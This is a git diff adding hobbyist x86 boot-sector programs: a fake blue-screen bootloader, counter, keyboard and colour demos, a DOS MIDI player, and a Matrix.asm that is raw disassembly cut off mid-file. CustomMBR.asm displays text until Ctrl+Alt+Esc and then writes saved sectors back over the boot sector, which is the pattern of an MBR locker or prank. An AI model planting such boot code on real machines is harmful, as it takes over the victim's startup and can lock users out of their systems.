diff --git a/BSOD/BSOD.asm b/BSOD/BSOD.asm new file mode 100644 index 0000000..d5faa14 --- /dev/null +++ b/BSOD/BSOD.asm @@ -0,0 +1,139 @@ +bits 16 +org 0x7c00 +; +; EGA register equates. +; +SC_INDEX equ 0x3c4 ; SC index register +SC_MAP_MASK equ 2 ; SC map mask register +GC_INDEX equ 0x3ce ; GC index register +GC_SET_RESET equ 0 ; GC set/reset register +GC_ENABLE_SET_RESET equ 1 ; GC enable set/reset register +; +; Macro to set indexed register INDEX of SC chip to SETTING. +; +%macro SETSC 2 + mov dx, SC_INDEX + mov al, %1 + out dx, al + inc dx + mov al, %2 + out dx, al + dec dx +%endmacro + +; +; Macro to set indexed register INDEX of GC chip to SETTING. +; +%macro SETGC 2 + mov dx, GC_INDEX + mov al, %1 + out dx, al + inc dx + mov al, %2 + out dx, al + dec dx +%endmacro + +start: + xor ax, ax ; AX=0 + mov ds, ax ; DS=ES=0 because we use an org of 0x7c00 + ; Segment<<4+offset = 0x0000<<4+0x7c00 = 0x07c00 + mov es, ax + mov ss, ax + mov sp, 0x7c00 ; SS:SP= 0x0000:0x7c00 stack just below bootloader + cld ; Forward direction for string instructions like movsb + +Set_Video: + mov ah, 0x41 ; Int 13h/AH=41h: Check if extensions present + mov bx, 0x55aa + int 0x13 + cmp bx, 0xaa55 ; Is BX 0xaa55? + mov ax, 12h ; Graphics mode (640x480x16) + int 10h ; BIOS video call + + mov si, DAP ; Load BMP Sectors + mov ah, 42h + int 13h ; Read the BMP file + + + ; Segment that our BMP (and BMP header) was read into */ + mov ax, 0x07e0 + mov ds, ax + + mov di, [46] ; Get number of colors from DIB header + test di, di + jnz color_set ; If number of colors is 0 + mov di, 2 ; then set to 2 (we assume BMP has color depth 1) + +color_set: + mov si, [14] ; Get the offset of color table from DIB header + add si, 14 ; Add the length of the BMP header to color table offset + ; to get actual offset of the color table + xor bx, bx ; Curent color index to process = 0 + +.paletteloop: + mov ch, [si+1] ; Get green value + shr ch, 1 + shr ch, 1 ; VGA color values are 6 bit. Shift 8-bit value in + ; color table entry right by 2 to get a 6-bit value + mov cl, [si] ; Get blue value + shr cl, 1 + shr cl, 1 ; VGA color values are 6 bit. Shift 8-bit value in + ; color table entry right by 2 to get a 6-bit value + mov dh, [si+2] ; Get red value + shr dh, 1 + shr dh, 1 ; VGA color values are 6 bit. Shift 8-bit value in + ; color table entry right by 2 to get a 6-bit value + mov ax, 0x1010 ; Set palette entry for current color index + int 0x10 + + inc bx ; Go to next color index + add si, 4 ; Go to next memory offset where next colorentry starts + dec di + jnz .paletteloop ; Loop until we have processed all color entries + + SETSC SC_MAP_MASK, 0x0f ; must set map mask to enable all + ; planes, so set/reset values can + ; be written to planes 1, 2 & 3 + ; and CPU data can be written to + ; plane 0 (the blue plane) + SETGC GC_ENABLE_SET_RESET, 0xe ; CPU data to plane 1, 2, & 3 will be + ; replaced by set/reset value + SETGC GC_SET_RESET, 0x1 ; set/reset value is 0ffh for plane 0 + ; (the blue plane) and 0 for other + ; planes + + mov ax, 0xA000 + mov es, ax ; 0xA000 = Memory segment for VGA/EGA graphics display + + mov si, [10] ; Get offset to pixel data from BMP header + xor di, di ; Destination offset in video segment starts at 0x0000 + mov cx, (640/8*480)/2 ; Total number of words (16-bit values) to copy + rep movsw ; Move CX number of words from DS:DI to ES:SI + pop ds + jmp endloop ; We are finished go into infinite loop + +;Endless loop +endloop: + cli ; Disable interrupts +.repeat: + hlt ; Wait for next interrupt + jmp .repeat ; Continue looping indefinitely + +SECTOR_SIZE equ 512 + +; Disk address packet +DAP: + db 10h, 0 + dw (BMP_SIZE+(SECTOR_SIZE-1))/SECTOR_SIZE ; Number of sectors BMP uses (rounded up) + dw 0x0000, 0x07e0 ; Read to 0x07e0:0x0000 = Phys Address 0x07e00 + dq 1 ; (Start at second sector) + +;Fake MBR signature +times 510 - ($ - $$) db 0 +dw 0xAA55 + +;My bitmap +bitmap: incbin "BSOD.bmp" ; Flipped image 640x480x1 +BMP_SIZE equ $-bitmap ; Size of BMP in bytes +times 32768 - ($ - $$) db 0 \ No newline at end of file diff --git a/BSOD/BSOD.bmp b/BSOD/BSOD.bmp new file mode 100644 index 0000000..ab922f1 Binary files /dev/null and b/BSOD/BSOD.bmp differ diff --git a/BSOD/BSOD.img b/BSOD/BSOD.img new file mode 100644 index 0000000..e3fe82c Binary files /dev/null and b/BSOD/BSOD.img differ diff --git a/Counter.asm b/Counter.asm new file mode 100644 index 0000000..6f12440 --- /dev/null +++ b/Counter.asm @@ -0,0 +1,151 @@ +cpu 386 +bits 16 +org 0h + + +start: ;Ok, dont change this stuff either.. + jmp short load_prog + ident db "WobbyChip" + +;===================================================================================================================== + +load_prog: + cld + xor ax, ax + mov ss, ax + mov sp, 7c00h ;Setup stack + + mov ax, 8000h + mov es, ax ;Initialize es w/ 8000h + mov ds, ax ;Initialize ds w/ 8000h + +;===================================================================================================================== + +load_1: + mov ax, 0206h ;Function/# of sec to read + mov cx, 0001h ;0-5 sec # (counts from one), 6-7 hi cyl bits + + ;MDP - Do not clobber DL, it still has the boot drive passed by BIOS + mov dh, 00h ;Dh=head dl=drive (bit 7=hdd) + mov bx, 0h ;Data buffer, points to es:0 + int 13h + cmp ah, 0 + jne load_1 ;This is allowable because it is relative + + push es + mov ax, counter_inc + push ax + retf + +;===================================================================================================================== + +print_str: + push ax + push di + mov ah,0eh +.getchar: + lodsb ;Same as mov al,[si] and inc si + test al, al ;Same as cmp al,0 + jz .end + int 10h + jmp .getchar +.end: + pop di + pop ax + ret + +uint32_to_str: + push edx + push eax + push ecx + push bx + push di + xor bx, bx ;Digit count + mov ecx, 10 ;Divisor +.digloop: + xor edx, edx ;Division will use 64-bit dividend in EDX:EAX + div ecx ;Divide EDX:EAX by 10 ; EAX=Quotient ; EDX=Remainder(the current digit) + add dl, '0' ;Convert digit to ASCII + push dx ;Push on stack so digits can be popped off in everse order when finished + inc bx ;Digit count += 1 + test eax, eax + jnz .digloop ;If dividend is zero then we are finished converting the number +.popdigloop: ;Get digits from stack in reverse order we pushed them + pop ax + stosb ;Same as mov [ES:DI], al and inc di + dec bx + jne .popdigloop ;Loop until all digits have been popped + mov al, 0 + stosb ;NUL terminate string ; Same as mov [ES:DI], al and inc di + pop di + pop bx + pop ecx + pop eax + pop edx + ret + +;===================================================================================================================== + +counter_inc: + mov eax, [number] + mov di, strbuf ;ES:DI points to string buffer to store to + call uint32_to_str ;Convert 32-bit unsigned value in EAX to ASCII string + mov si, di ;DS:SI points to string buffer to print + call print_str + + mov al, 13 ;Zero scancode + mov ah, 0Eh ;Teletype character + int 10h ;Call interrupt + + mov al, 10 ;Zero scancode + mov ah, 0Eh ;Teletype character + int 10h ;Call interrupt + + mov eax, [number] + add eax, 1 ;Increase value by 1 + mov [number], eax ;Store final value in number + + cmp eax, 1000 + je timeout + jmp counter_inc + +timeout: + mov ah, 86h ;AH = 86 + mov cx, 25 ;Set for timeout 50 + int 15h ;Wait function + +counter_dec: + mov eax, [number] + mov di, strbuf ;ES:DI points to string buffer to store to + call uint32_to_str ;Convert 32-bit unsigned value in EAX to ASCII string + mov si, di ;DS:SI points to string buffer to print + call print_str + + mov al, 13 ;Zero scancode + mov ah, 0Eh ;Teletype character + int 10h ;Call interrupt + + mov al, 10 ;Zero scancode + mov ah, 0Eh ;Teletype character + int 10h ;Call interrupt + + mov eax, [number] + sub eax, 1 ;Decrease value by 1 + mov [number], eax ;Store final value in number + + cmp eax, 0 + je halt + jmp counter_dec + +halt: + hlt + jmp halt + +;===================================================================================================================== + +MBR_Signature: + number dd 0 + strbuf db 0 + times 510-($-$$) db 0 + db 55h,0aah + times 4096-($-$$) db 0 \ No newline at end of file diff --git a/CustomMBR.asm b/CustomMBR.asm new file mode 100644 index 0000000..091fc29 --- /dev/null +++ b/CustomMBR.asm @@ -0,0 +1,161 @@ +cpu 386 +bits 16 +org 0h + + +start: ;Ok, dont change this stuff either.. + jmp short load_prog + ident db "WobbyChip" + +;===================================================================================================================== + +load_prog: + cld + xor ax,ax + mov ss,ax + mov sp,7c00h ;Setup stack + + mov ax,8000h + mov es,ax ;Initialize es w/ 8000h + mov ds,ax ;Initialize ds w/ 8000h + +;===================================================================================================================== + +load_1: + mov ax, 0206h ;Function/# of sec to read + mov cx, 0001h ;0-5 sec # (counts from one), 6-7 hi cyl bits + + ;MDP - Do not clobber DL, it still has the boot drive passed by BIOS + mov dh, 00h ;Dh=head dl=drive (bit 7=hdd) + mov bx, 0h ;Data buffer, points to es:0 + int 13h + cmp ah, 0 + jne load_1 ;This is allowable because it is relative + + ;MDP - Save boot drive after you set the proper DS segment (0x8000) and after you read the sector into memory + mov [BOOT_DRIVE], dl + + push es + mov ax, prog_continue + push ax + retf + +;===================================================================================================================== + +prog_continue: + mov ax, 0x1003 + mov bl, 0 + int 10h + + mov ah, 07h ;Function to call with interrupt + mov al, 0x00 ;Scroll whole window + mov bh, 0x0F ;Black background with white text + mov cx, 0x0000 ;Row 0,col 0 + mov dx, 0x184f + int 10h + + mov dh, 0 ;Cursor position line + mov dl, 0 ;Cursor position column + mov ah, 02h + mov bh, 0 + int 10h ;Jump one col before + + mov bp, 0400h + mov ah, 0eh + mov si, 0ffffh + +;===================================================================================================================== + +write_char: + inc si + cmp byte [ds:bp + si], 0 ;Keep writing until there is a null byte + jz Keypress + push bp + + mov al, [byte ds:bp + si] + mov bx, 07h + int 10h ;Teletype the character + pop bp + jmp write_char + +;===================================================================================================================== + +Keypress: + mov ah, 86h ;AH = 86 + mov cx, 50 ;Set for timeout 50 + int 15h ;Wait function + + mov ah, 0h ;AH = 0 + cmp ah, 0h ;Check same or not same + jne write_char ;If same continue else abort + + xor ah,ah ;AH = 0 + int 16h ;Wait for key + cmp ah, 01h ;Scan code 1 = Escape + jne write_char ;If Escape not pressed get another key + + mov ah, 2h + int 16h ;Query keyboard status flags + and al, 0b00001111 ;Mask all the key press flags + cmp al, 0b00001100 ;Check if ONLY Control and Alt are pressed and make sure Left and/or Right Shift are not being pressed + jne write_char ;If not go back and wait for another keystroke ; Otherwise Control-Alt-Escape has been pressed + +;===================================================================================================================== + +RestoreMBR: + ;Setup segments + mov ax, 7c0h ;AX=7c0h + mov es, ax + + xor ax, ax ;AX=0 + mov ss, ax + mov sp, 0x7c00 ;SS:SP= 0x0000:0x7c00 stack just below bootloader + + ;Read sector - 2th + mov bx, buffer ;ES: BX must point to the buffer + mov dl, [BOOT_DRIVE] ;use boot drive passed to bootloader by BIOS in DL + mov dh,0 ;head number + mov ch,0 ;track number + mov cl,2 ;sector number - (2th) + mov al,1 ;number of sectors to read + mov ah,2 ;read function number + int 13h + + ;Write sector - 1th + mov bx, buffer ;ES: BX must point to the buffer + mov dl, [BOOT_DRIVE] ;use boot drive passed to bootloader by BIOS in DL + mov dh,0 ;head number + mov ch,0 ;track number + mov cl,1 ;sector number - (1th) + mov al,8 ;number of sectors to write + mov ah,3 ;write function number + int 13h + +RebootPC: + xor ax, ax + mov es, ax + mov bx, 1234 + mov [es:0472], bx + cli + mov ds, ax + mov es, ax + mov ss, ax + mov sp, ax + mov ax, 2 + push ax + mov ax, 0xf000 + push ax + mov ax, 0xfff0 + push ax + iret + +;===================================================================================================================== + +MBR_Signature: + BOOT_DRIVE: db 0 + times 510-($-$$) db 0 + db 55h,0aah + times 1024-($-$$) db 0 + db 'TEXT HERE' + times 4096-($-$$) db 0 + buffer: \ No newline at end of file diff --git a/Cycle.asm b/Cycle.asm new file mode 100644 index 0000000..79b6224 --- /dev/null +++ b/Cycle.asm @@ -0,0 +1,16 @@ +org 0h +mov al,0x00 +mov bx,0x0000 +mov cx,0x0001 +cycle: +mov ah,0x09 +int 0x10 +mov ah,0x0e +int 0x10 +inc al +inc bl +jmp cycle + +MBR_signature: + times 510 - ($ - $$) db 0 + dw 0xAA55 \ No newline at end of file diff --git a/Keyboard.asm b/Keyboard.asm new file mode 100644 index 0000000..8647467 --- /dev/null +++ b/Keyboard.asm @@ -0,0 +1,120 @@ +org 0x7c00 +bits 16 + +start: + mov ah, 07h ;Function to call with interrupt + mov al, 0x00 ;Scroll whole window + mov bh, 0x0F ;Black background with white text + mov cx, 0x0000 ;Row 0, Col 0 + mov dx, 0x184f + int 10h ;Clear screen just in case + + mov dh, 0 ;Cursor position row + mov dl, 0 ;Cursor position column + mov bh, 0 ;Display page number + mov ah, 02h ;Set cursor position + int 10h ;Set cursor postion to begining of screen + +get_keystrokes: + xor al, al ;Clear buffer + mov ah, 0h ;Wait until key press + int 16h + + cmp al, 0 ;Check for nothing + je get_keystrokes + + cmp al, 8 ;Check for Backsapce + je backspace + + cmp al, 13 ;Check for Enter + je next_row + + call get_cur_pos ;Get cursor position + + cmp dh, 24 ;Check if not finall row + je .finall_row ;If it is then jump to .finall_row + jmp .teletype_character + +.finall_row: + cmp dl, 79 ;Check if not end of col + je get_keystrokes ;If it is then jump to get_keystrokes + +.teletype_character: + mov ah, 0Eh ;Teletype output + int 10h ;Teletype user inputed character + jmp get_keystrokes + +backspace: + call get_cur_pos ;Get cursor position + + cmp dl, 0 ;Check if cursor is at begining of the row + je back_row ;If it is then jump to back_row + + dec dl ;dl - Register where is saved position of cursor x + mov ah, 02h ;Set cursor position + int 10h ;Jump one col before + + mov al, 32 ;Space scancode + mov ah, 0Eh ;Teletype output + int 10h ;Rewrite character with space + + mov ah, 02h ;Set cursor position + int 10h ;Set cursor back because previsos interrupt moved it forward + + jmp get_keystrokes + +next_row: + call get_cur_pos ;Get cursor position + cmp dh, 24 ;Check if not at end of screen + je get_keystrokes ;If it is then jump to get_keystrokes + + inc dh ;dh - Register where is saved position of cursor y + mov dl, 0 ;dl - Register where is saved position of cursor x + mov ah, 02h ;Set cursor position + int 10h ;Set cursor to next row + + jmp get_keystrokes + +back_row: + call get_cur_pos ;Get cursor position + cmp dh, 0 ;dh - Register where is saved position of cursor y + je get_keystrokes ;Check if current row isn't first + + dec dh ;dh - Register where is saved position of cursor y + mov dl, 80 ;dl - Register where is saved position of cursor x + mov ah, 02h ;Set cursor position + int 10h ;Set cursor position one row back + +carriage_return: + dec dl ;dl - Register where is saved position of cursor x + mov ah, 02h ;Set cursor position + int 10h ;Jump one col before + + mov ah, 08h ;Get character at cursor position + int 10h ;Call interrupt + + cmp al, 32 ;Check if chacrter is space and do it until it's not + je .checkCol ;Or until it's not start of line + jmp .notSpace + +.checkCol: + cmp dl, 0 ;Check if col is 0 because it is start of line + je get_keystrokes ;If it is then jump to get_keystrokes + jmp carriage_return ;Else continue loop + +.notSpace: + inc dl ;dl - Register where is saved position of cursor x + mov ah, 02h ;Set cursor position + int 10h ;Set cursor back + + cmp dl, 80 ;We don't want to see cursor outside of the screen + je backspace + jmp get_keystrokes + +get_cur_pos: + mov ah, 03h ;Get cursor position + int 10h ;Call interrupt + ret + +times 510 - ($-$$) db 0 ;Fill rest of the sector with 0. +dw 0xaa55 ;Boot Signature. \ No newline at end of file diff --git a/MIDIPlayer4DOS/MIDI.OBJ b/MIDIPlayer4DOS/MIDI.OBJ new file mode 100644 index 0000000..8329e44 Binary files /dev/null and b/MIDIPlayer4DOS/MIDI.OBJ differ diff --git a/MIDIPlayer4DOS/MIDIDRV.PAS b/MIDIPlayer4DOS/MIDIDRV.PAS new file mode 100644 index 0000000..761e720 --- /dev/null +++ b/MIDIPlayer4DOS/MIDIDRV.PAS @@ -0,0 +1,35 @@ +unit MIDIDRV; + +interface +const + mtGENERAL = 0; + mtEXTENDED = 1; + mtBASIC = 2; + +{$L MIDI} + +const + SBlastBase: Word = $220; + + procedure MIDIInit( MIDIType: Word); + procedure MIDIUnInit; + + procedure MIDISetPort( Port, Device: Word); + procedure MIDIPlay( MIDI: Pointer ); + procedure MIDIStop; + + function MIDIStatus: Word; + +implementation + + +procedure MIDIInit( MIDIType: Word); external; +procedure MIDIUnInit; external; + +procedure MIDISetPort( Port, Device: Word); external; +procedure MIDIPlay( MIDI: Pointer ); external; +procedure MIDIStop; external; + +function MIDIStatus: Word; external; + +end. diff --git a/MIDIPlayer4DOS/MPLAYER.PAS b/MIDIPlayer4DOS/MPLAYER.PAS new file mode 100644 index 0000000..d78bb39 --- /dev/null +++ b/MIDIPlayer4DOS/MPLAYER.PAS @@ -0,0 +1,130 @@ +program MPlayer4DOS_Created_By_WobbyChip; + +uses MIDIDrv, crt, dos; + +const TrackSize=1873; + TrackData:array[1..TrackSize] of byte=( + $4D, $54, $68, $64, $00, $00, $00, $06, $00, $01, $00, $08, $00, $60, $4D, $54, + $72, $6B, $00, $00, $00, $0C, $00, $FF, $58, $04, $04, $02, $18, $08, $00, $FF, + $2F, $00, $4D, $54, $72, $6B, $00, $00, $00, $0B, $00, $FF, $51, $03, $06, $8A, + $1B, $00, $FF, $2F, $00, $4D, $54, $72, $6B, $00, $00, $00, $C2, $00, $FF, $03, + $0B, $4B, $69, $63, $6B, $20, $28, $4D, $49, $44, $49, $29, $00, $B0, $0A, $40, + $00, $B0, $07, $64, $00, $E0, $00, $40, $00, $B0, $65, $00, $00, $B0, $64, $00, + $00, $B0, $06, $0C, $00, $B0, $0A, $40, $00, $B0, $07, $64, $00, $E0, $00, $40, + $00, $C0, $00, $00, $B0, $65, $00, $00, $B0, $64, $00, $00, $B0, $06, $0C, $00, + $B0, $0A, $40, $00, $B0, $07, $64, $00, $E0, $00, $40, $00, $C0, $00, $00, $B0, + $65, $00, $00, $B0, $64, $00, $00, $B0, $06, $0C, $00, $B0, $0A, $40, $00, $B0, + $07, $64, $00, $E0, $00, $40, $00, $C0, $00, $98, $00, $B0, $65, $00, $00, $B0, + $64, $00, $00, $B0, $06, $0C, $00, $B0, $0A, $40, $00, $B0, $07, $64, $00, $E0, + $00, $40, $00, $C0, $00, $02, $B0, $65, $00, $00, $B0, $64, $00, $00, $B0, $06, + $0C, $00, $B0, $0A, $40, $00, $B0, $07, $64, $00, $E0, $00, $40, $00, $C0, $00, + $00, $B0, $65, $00, $00, $B0, $64, $00, $00, $B0, $06, $0C, $00, $B0, $0A, $40, + $00, $B0, $07, $64, $00, $E0, $00, $40, $00, $C0, $00, $00, $FF, $2F, $00, $4D, + $54, $72, $6B, $00, $00, $00, $C2, $00, $FF, $03, $0B, $43, $6C, $61, $70, $20, + $28, $4D, $49, $44, $49, $29, $00, $B1, $0A, $40, $00, $B1, $07, $64, $00, $E1, + $00, $40, $00, $B1, $65, $00, $00, $B1, $64, $00, $00, $B1, $06, $0C, $00, $B1, + $0A, $40, $00, $B1, $07, $64, $00, $E1, $00, $40, $00, $C1, $00, $00, $B1, $65, + $00, $00, $B1, $64, $00, $00, $B1, $06, $0C, $00, $B1, $0A, $40, $00, $B1, $07, + $64, $00, $E1, $00, $40, $00, $C1, $00, $00, $B1, $65, $00, $00, $B1, $64, $00, + $00, $B1, $06, $0C, $00, $B1, $0A, $40, $00, $B1, $07, $64, $00, $E1, $00, $40, + $00, $C1, $00, $98, $00, $B1, $65, $00, $00, $B1, $64, $00, $00, $B1, $06, $0C, + $00, $B1, $0A, $40, $00, $B1, $07, $64, $00, $E1, $00, $40, $00, $C1, $00, $02, + $B1, $65, $00, $00, $B1, $64, $00, $00, $B1, $06, $0C, $00, $B1, $0A, $40, $00, + $B1, $07, $64, $00, $E1, $00, $40, $00, $C1, $00, $00, $B1, $65, $00, $00, $B1, + $64, $00, $00, $B1, $06, $0C, $00, $B1, $0A, $40, $00, $B1, $07, $64, $00, $E1, + $00, $40, $00, $C1, $00, $00, $FF, $2F, $00, $4D, $54, $72, $6B, $00, $00, $00, + $C1, $00, $FF, $03, $0A, $48, $61, $74, $20, $28, $4D, $49, $44, $49, $29, $00, + $B2, $0A, $40, $00, $B2, $07, $64, $00, $E2, $00, $40, $00, $B2, $65, $00, $00, + $B2, $64, $00, $00, $B2, $06, $0C, $00, $B2, $0A, $40, $00, $B2, $07, $64, $00, + $E2, $00, $40, $00, $C2, $00, $00, $B2, $65, $00, $00, $B2, $64, $00, $00, $B2, + $06, $0C, $00, $B2, $0A, $40, $00, $B2, $07, $64, $00, $E2, $00, $40, $00, $C2, + $00, $00, $B2, $65, $00, $00, $B2, $64, $00, $00, $B2, $06, $0C, $00, $B2, $0A, + $40, $00, $B2, $07, $64, $00, $E2, $00, $40, $00, $C2, $00, $98, $00, $B2, $65, + $00, $00, $B2, $64, $00, $00, $B2, $06, $0C, $00, $B2, $0A, $40, $00, $B2, $07, + $64, $00, $E2, $00, $40, $00, $C2, $00, $02, $B2, $65, $00, $00, $B2, $64, $00, + $00, $B2, $06, $0C, $00, $B2, $0A, $40, $00, $B2, $07, $64, $00, $E2, $00, $40, + $00, $C2, $00, $00, $B2, $65, $00, $00, $B2, $64, $00, $00, $B2, $06, $0C, $00, + $B2, $0A, $40, $00, $B2, $07, $64, $00, $E2, $00, $40, $00, $C2, $00, $00, $FF, + $2F, $00, $4D, $54, $72, $6B, $00, $00, $00, $B1, $00, $FF, $03, $0C, $53, $6E, + $61, $72, $65, $20, $28, $4D, $49, $44, $49, $29, $00, $B9, $0A, $40, $00, $B9, + $07, $64, $00, $E9, $00, $40, $00, $B9, $65, $00, $00, $B9, $64, $00, $00, $B9, + $06, $0C, $00, $B9, $0A, $40, $00, $B9, $07, $64, $00, $E9, $00, $40, $00, $B9, + $65, $00, $00, $B9, $64, $00, $00, $B9, $06, $0C, $00, $B9, $0A, $40, $00, $B9, + $07, $64, $00, $E9, $00, $40, $00, $B9, $65, $00, $00, $B9, $64, $00, $00, $B9, + $06, $0C, $00, $B9, $0A, $40, $00, $B9, $07, $64, $00, $E9, $00, $40, $98, $00, + $B9, $65, $00, $00, $B9, $64, $00, $00, $B9, $06, $0C, $00, $B9, $0A, $40, $00, + $B9, $07, $64, $00, $E9, $00, $40, $02, $B9, $65, $00, $00, $B9, $64, $00, $00, + $B9, $06, $0C, $00, $B9, $0A, $40, $00, $B9, $07, $64, $00, $E9, $00, $40, $00, + $B9, $65, $00, $00, $B9, $64, $00, $00, $B9, $06, $0C, $00, $B9, $0A, $40, $00, + $B9, $07, $64, $00, $E9, $00, $40, $00, $FF, $2F, $00, $4D, $54, $72, $6B, $00, + $00, $01, $C4, $00, $FF, $03, $0E, $42, $6F, $6F, $42, $61, $73, $73, $20, $28, + $4D, $49, $44, $49, $29, $00, $B4, $0A, $40, $00, $B4, $07, $64, $00, $E4, $00, + $40, $00, $B4, $65, $00, $00, $B4, $64, $00, $00, $B4, $06, $0C, $00, $B4, $0A, + $40, $00, $B4, $07, $64, $00, $E4, $00, $40, $00, $C4, $26, $00, $B4, $65, $00, + $00, $B4, $64, $00, $00, $B4, $06, $0C, $00, $B4, $0A, $40, $00, $B4, $07, $64, + $00, $E4, $00, $40, $00, $C4, $26, $00, $B4, $65, $00, $00, $B4, $64, $00, $00, + $B4, $06, $0C, $00, $B4, $0A, $40, $00, $B4, $07, $64, $00, $E4, $00, $40, $00, + $C4, $26, $00, $94, $3E, $64, $30, $84, $3E, $40, $30, $94, $3E, $64, $30, $84, + $3E, $40, $30, $94, $3E, $64, $30, $84, $3E, $40, $30, $94, $3E, $64, $30, $84, + $3E, $40, $30, $94, $3A, $64, $30, $84, $3A, $40, $30, $94, $3A, $64, $30, $84, + $3A, $40, $30, $94, $3A, $64, $30, $84, $3A, $40, $30, $94, $3A, $64, $30, $84, + $3A, $40, $30, $94, $35, $64, $30, $84, $35, $40, $30, $94, $35, $64, $30, $84, + $35, $40, $30, $94, $35, $64, $30, $84, $35, $40, $30, $94, $35, $64, $30, $84, + $35, $40, $30, $94, $40, $64, $30, $84, $40, $40, $30, $94, $40, $64, $30, $84, + $40, $40, $30, $94, $40, $64, $30, $84, $40, $40, $30, $94, $40, $64, $30, $84, + $40, $40, $30, $94, $3E, $64, $30, $84, $3E, $40, $30, $94, $3E, $64, $30, $84, + $3E, $40, $30, $94, $3E, $64, $30, $84, $3E, $40, $30, $94, $3E, $64, $30, $84, + $3E, $40, $30, $94, $3A, $64, $30, $84, $3A, $40, $30, $94, $3A, $64, $30, $84, + $3A, $40, $30, $94, $3A, $64, $30, $84, $3A, $40, $30, $94, $3A, $64, $30, $84, + $3A, $40, $30, $94, $35, $64, $30, $84, $35, $40, $30, $94, $35, $64, $30, $84, + $35, $40, $30, $94, $35, $64, $30, $84, $35, $40, $30, $94, $35, $64, $30, $84, + $35, $40, $30, $94, $40, $64, $30, $84, $40, $40, $30, $94, $40, $64, $30, $84, + $40, $40, $30, $94, $40, $64, $30, $84, $40, $40, $30, $94, $40, $64, $30, $84, + $40, $40, $30, $B4, $65, $00, $00, $B4, $64, $00, $00, $B4, $06, $0C, $00, $B4, + $0A, $40, $00, $B4, $07, $64, $00, $E4, $00, $40, $00, $C4, $26, $02, $B4, $65, + $00, $00, $B4, $64, $00, $00, $B4, $06, $0C, $00, $B4, $0A, $40, $00, $B4, $07, + $64, $00, $E4, $00, $40, $00, $C4, $26, $00, $B4, $65, $00, $00, $B4, $64, $00, + $00, $B4, $06, $0C, $00, $B4, $0A, $40, $00, $B4, $07, $64, $00, $E4, $00, $40, + $00, $C4, $26, $00, $FF, $2F, $00, $4D, $54, $72, $6B, $00, $00, $02, $32, $00, + $FF, $03, $0C, $47, $61, $6D, $65, $72, $20, $28, $4D, $49, $44, $49, $29, $00, + $B5, $0A, $40, $00, $B5, $07, $64, $00, $E5, $00, $40, $00, $B5, $65, $00, $00, + $B5, $64, $00, $00, $B5, $06, $0C, $00, $B5, $0A, $40, $00, $B5, $07, $64, $00, + $E5, $00, $40, $00, $C5, $42, $00, $B5, $65, $00, $00, $B5, $64, $00, $00, $B5, + $06, $0C, $00, $B5, $0A, $40, $00, $B5, $07, $64, $00, $E5, $00, $40, $00, $C5, + $42, $00, $B5, $65, $00, $00, $B5, $64, $00, $00, $B5, $06, $0C, $00, $B5, $0A, + $40, $00, $B5, $07, $64, $00, $E5, $00, $40, $00, $C5, $42, $00, $95, $45, $64, + $60, $85, $45, $40, $60, $95, $45, $64, $30, $85, $45, $40, $00, $95, $45, $64, + $18, $85, $45, $40, $00, $95, $45, $64, $18, $85, $45, $40, $00, $95, $43, $64, + $18, $85, $43, $40, $00, $95, $45, $64, $18, $85, $45, $40, $30, $95, $45, $64, + $60, $85, $45, $40, $60, $95, $45, $64, $30, $85, $45, $40, $00, $95, $45, $64, + $18, $85, $45, $40, $00, $95, $45, $64, $18, $85, $45, $40, $00, $95, $43, $64, + $18, $85, $43, $40, $00, $95, $45, $64, $18, $85, $45, $40, $30, $95, $45, $64, + $60, $85, $45, $40, $30, $95, $48, $64, $60, $85, $48, $40, $00, $95, $45, $64, + $30, $85, $45, $40, $30, $95, $43, $64, $30, $85, $43, $40, $00, $95, $43, $64, + $30, $85, $43, $40, $00, $95, $41, $64, $30, $85, $41, $40, $30, $95, $3E, $64, + $30, $85, $3E, $40, $00, $95, $3E, $64, $30, $85, $3E, $40, $00, $95, $40, $64, + $30, $85, $40, $40, $00, $95, $42, $64, $30, $85, $42, $40, $00, $95, $3E, $64, + $30, $85, $3E, $40, $00, $95, $45, $64, $60, $85, $45, $40, $60, $95, $45, $64, + $30, $85, $45, $40, $00, $95, $45, $64, $18, $85, $45, $40, $00, $95, $45, $64, + $18, $85, $45, $40, $00, $95, $43, $64, $18, $85, $43, $40, $00, $95, $45, $64, + $18, $85, $45, $40, $30, $95, $45, $64, $60, $85, $45, $40, $60, $95, $45, $64, + $30, $85, $45, $40, $00, $95, $45, $64, $18, $85, $45, $40, $00, $95, $45, $64, + $18, $85, $45, $40, $00, $95, $43, $64, $18, $85, $43, $40, $00, $95, $45, $64, + $18, $85, $45, $40, $30, $95, $45, $64, $60, $85, $45, $40, $30, $95, $48, $64, + $60, $85, $48, $40, $00, $95, $45, $64, $30, $85, $45, $40, $30, $95, $43, $64, + $30, $85, $43, $40, $00, $95, $43, $64, $30, $85, $43, $40, $00, $95, $41, $64, + $30, $85, $41, $40, $30, $95, $3E, $64, $30, $85, $3E, $40, $00, $95, $3E, $64, + $30, $85, $3E, $40, $00, $95, $40, $64, $30, $85, $40, $40, $00, $95, $42, $64, + $30, $85, $42, $40, $00, $95, $3E, $64, $30, $85, $3E, $40, $00, $B5, $65, $00, + $00, $B5, $64, $00, $00, $B5, $06, $0C, $00, $B5, $0A, $40, $00, $B5, $07, $64, + $00, $E5, $00, $40, $00, $C5, $42, $02, $B5, $65, $00, $00, $B5, $64, $00, $00, + $B5, $06, $0C, $00, $B5, $0A, $40, $00, $B5, $07, $64, $00, $E5, $00, $40, $00, + $C5, $42, $00, $B5, $65, $00, $00, $B5, $64, $00, $00, $B5, $06, $0C, $00, $B5, + $0A, $40, $00, $B5, $07, $64, $00, $E5, $00, $40, $00, $C5, $42, $00, $FF, $2F, + $00); + +begin + MIDISetPort($220 , 0); + MIDIInit(6); + while true do if MIDIStatus = 0 then MIDIPlay(@TrackData); +end. \ No newline at end of file diff --git a/Matrix.asm b/Matrix.asm new file mode 100644 index 0000000..9a01e60 --- /dev/null +++ b/Matrix.asm @@ -0,0 +1,170 @@ +call 0x110 +call 0x60 +call 0x70 +call 0x130 +call 0xb9 +push ax +push dx +nop +nop +nop +nop +nop +call 0x60 +call 0xc0 +pop dx +inc dh +call 0xb2 +pop ax +call 0xc4 +nop +nop +cmp si,di +jz short 0x0 +mov si,di +nop +nop +push bp +push cs +pop es +add bp,byte +0x50 +mov ax,0x1300 +mov bx,0x10f +mov cx,0x6 +mov dx,0xc21 +int 0x10 +add bp,byte +0x7 +mov dx,0xc29 +int 0x10 +pop bp +nop +jmp short 0x0 +db 'George', 0, 'Valkov', 0, 0, 0 +rdtsc +ret +shr eax,byte 0x8 +ret +shld edx,eax,0x10 +xor dx,ax +ret +shld edi,eax,0x10 +dd 0xffffe781 +;and di,0xffff 